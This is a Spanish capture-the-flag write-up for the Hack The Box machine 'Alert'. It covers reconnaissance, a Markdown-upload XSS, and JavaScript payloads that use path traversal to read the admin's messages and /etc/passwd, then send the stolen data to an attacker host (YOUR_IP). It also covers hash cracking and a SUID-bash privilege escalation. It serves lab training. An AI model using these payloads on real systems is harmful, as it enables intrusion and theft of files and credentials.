HTB Alert Writeup
Muy buenas con todos, el día de hoy voy a resolver la máquina Alert
de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.
Reconocimiento
Primero vemos si tenemos conexión con la máquina y, de paso, gracias al ttl
identificamos ante el tipo de máquina que estamos, en linux
este suele ser de 64 y en windows
de 128.
1
2
3
4
5
6
7
ping -c1 10.10.11.44
PING 10.10.11.44 (10.10.11.44) 56(84) bytes of data.
64 bytes from 10.10.11.44: icmp_seq=1 ttl=63 time=151 ms
--- 10.10.11.44 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 151.119/151.119/151.119/0.000 ms
Vemos que el ttl
de la máquina es de 63
, el cual está próximo a 63
por ende nos encontramos ante una máquina Linux
.
Ahora vamos a identificar los puertos abiertos dentro de la máquina, los invito a usar el siguiente script
hecho en bash
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash
GREEN="\e[32m"
RED="\e[31m"
RESET="\e[0m"
IP="$1"
if [ -z "$IP" ]; then
echo "Uso: $0 <IP>"
exit 1
fi
TEMP_FILE=$(mktemp)
echo -e "${GREEN}[+] Escaneando todos los puertos abiertos... ${RESET}"
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn "$IP" -oG "$TEMP_FILE"
# Extraer los puertos abiertos
PORTS=$(grep -oP '\d+/open' "$TEMP_FILE" | awk -F'/' '{print $1}' | tr '\n' ',' | sed 's/,$//'; echo)
rm "$TEMP_FILE"
if [ -z "$PORTS" ]; then
echo -e "${RED}[-] No se encontraron puertos abiertos.${RESET}"
exit 1
fi
echo -e "${GREEN}[+] Escanenado servicios en los puertos: $PORTS... ${RESET}"
nmap -sCV -p"$PORTS" "$IP" -oN target
echo -e "${GREEN}[+] Escano completado. Resultados en 'target'.${RESET}"
De preferencia es mejor usar este script
como root
, ya que algunos parámetros de nmap
, requieren de privilegios elevados. Esto al final nos va a generar un archivo target
que contiene la información de los puertos abiertos dentro de la máquina.
1
sudo ./scan.sh 10.10.11.44
1
2
3
4
5
6
7
8
9
10
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://alert.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vemos que tenemos el puerto 22 - ssh
y 80 - http
, vemos que en el servidor web
se aplica resolución DNS
, y por ende nuestra máquina no sabe qué es alert.htb
, así que lo agregamos al /etc/hosts
, para que sepa dónde resolver
1
2
3
4
127.0.0.1 localhost
::1 localhost
127.0.0.1 machinename.localhost machinename
10.10.11.44 alert.htb
Revisando la web
Cuando ingresamos a http://alert.htb
, nos lleva a http://alert.htb/index.php?page=alert
y tenemos un apartado para subir un archivo en formato Markdown
. Podemos ver su contenido y nos da un link
para compartirlo, pero no podemos explotar nada solo con eso.
Dentro de http://alert.htb/index.php?page=about
, nos dicen que hay un administrador que va a estar revisando los mensajes, también está el apartado de contacto, podemos ver si el administrador revisa lo que le mandamos, si nos montamos un servidor con python
y en el mensaje le adjuntamos nuestra web
http:///IP
, vemos que efectivamente quien revisa los mensajes da clic
en el enlace.
Con gobuster
, vamos a buscar otros directorios en la web
.
1
gobuster dir -w archivo.txt -u http://alert.htb -x php
Algo a destacar es un directorio /messages
y /messages.php
, uno no devuelve nada y el otro regresa un código 403
.
LFI via XSS
Bueno, algo que podríamos hacer es que mediante el archivo en Markdown nosotros definamos que al ver el archivo este resuelva a un archivo .js
que podemos definir, vamos a intentar cargar la web
que ve el administrador.
1
2
3
cat alert.md
<script src="http://YOUR_IP/pwned.js"></script>
1
2
3
4
5
6
7
8
9
cat pwned.js
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/index.php?page=messages', false);
req.send();
var exfil = new XMLHttpRequest();
exfil.open('GET', 'http://YOUR_IP/?data=' + btoa(req.responseText), false);
exfil.send();
Vemos que efectivamente el administrador tiene otro apartado en la web
al cual no tenemos acceso.
Algo a destacar es el hecho de que en http://alert.htb/messages.php?file=
aquí mediante ese paraámetro file
solicita unos archivos. No sabemos cómo está montada la web
, pero lo que podemos hacer es intentar cargar archivos internos de la máquina, editamos el pwned.js
para ver el /etc/passwd
1
2
3
4
5
6
7
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../../../etc/passwd', false);
req.send();
var exfil = new XMLHttpRequest();
exfil.open('GET', 'http://YOUR_IP/?data=' + btoa(req.responseText), false);
exfil.send();
Vemos que efectivamente se cargan archivos internos de la máquina.
Podemos cargar el archivo .conf
de apache
, ya que este se usa para levantar el servicio web
, este sería el archivo a solicitar ahora /etc/apache2/sites-available/000-default.conf
.
Vemos cosas interesantes aquí. Lo primero es un subdominio statistics.alert.htb
, que lo podemos agregar al /etc/hosts
. Dentro de este subdominio, hay un archivo /var/www/statistics.alert.htb/.htpasswd
, el cual suele contener credenciales cifradas, así que vemos que tiene.
Efectivamente, vemos a un usuario y su contraseña cifrada, así que lo tratamos de romper con hashcat
1
hashcat hash_file diccionario.txt --user
Nos descifra la contraseña, la cual es manchesterunited
Ganando acceso
Recordemos que el usuario albert
, figuraba en el archivo /etc/passwd
, así que vamos a tratar de conectarnos por ssh
haciendo uso de esa credencial para ese usuario.
Vemos que se pudo y ya tenemos la primera parte de la máquina. Algo a destacar es que nuestro usuario está en el grupo management
. Podemos buscar por ese grupo desde la raíz del sistema para ver qué tenemos.
1
find / -group management 2>/dev/null
Escalada de privilegios
Tenemos un directorio /opt/website-monitor
, que parece ser otro servicio web
, si vemos por los puertos abiertos se nos reporta que internamente la máquina tiene el puerto 8080
abierto, así que con ssh
lo traemos a nuestro equipo.
1
ssh -L 8080:127.0.0.1:8080 albert@alert.htb
Vemos que quien está levantando el servicio es el usuario root
.
Bueno algo que podemos hacer es ver los permisos que tenemos en dicho directorio, vemos que en /opt/website-monitor/monitors
, poseemos permisos de interés, podemos crear un archivo en php
que le dé permisos SUID
a la bash
, como el servidor usa php
este va a entender el archivo y como es root quien ejecuta el servidor es él quien va a cargar el archivo con los privilegios necesarios. Entonces solo debemos dirigirnos a la página http://localhost:8080/monitors/pwned.php
y confirmar los permisos de la bash
.
Vemos que se pudo y ya podemos ver la root.txt
.